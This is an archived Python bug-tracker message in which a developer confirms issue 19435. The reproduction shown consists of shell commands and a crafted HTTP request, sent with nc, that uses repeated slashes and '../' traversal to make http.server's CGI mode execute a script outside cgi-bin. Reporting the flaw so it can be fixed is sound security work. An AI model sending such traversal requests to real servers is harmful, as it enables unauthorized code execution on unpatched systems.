➜

This issue tracker has been migrated to GitHub, and is currently read-only.
For more information, see the GitHub FAQs in the Python's Developer Guide.

Author christian.heimes
Recipients Alexander.Kruppa, benjamin.peterson, christian.heimes, georg.brandl, larry, vstinner
Date 2013-10-29.16:48:39
SpamBayes Score -1.0
Marked as misclassified Yes
Message-id <1383065320.2.0.995297367448.issue19435@psf.upfronthosting.co.za>
In-reply-to
Content 
I can confirm the issue:

$ mkdir www
$ cd www
$ cat << EOF > badscript.sh
#!/bin/sh
echo hacked
EOF
$ chmod +x badscript.sh
$ ../python -m http.server --cgi


$ echo "GET ///////////badscript.sh/../cgi-bin/cgi.sh HTTP/1.1" | nc localhost 8000
HTTP/1.0 200 Script output follows
Server: SimpleHTTP/0.6 Python/3.4.0a4+
Date: Tue, 29 Oct 2013 16:47:22 GMT
hacked
History
Date User Action Args
2013-10-29 16:48:40christian.heimessetrecipients: + christian.heimes, georg.brandl, vstinner, larry, benjamin.peterson, Alexander.Kruppa
2013-10-29 16:48:40christian.heimessetmessageid: <1383065320.2.0.995297367448.issue19435@psf.upfronthosting.co.za>
2013-10-29 16:48:40christian.heimeslinkissue19435 messages
2013-10-29 16:48:39christian.heimescreate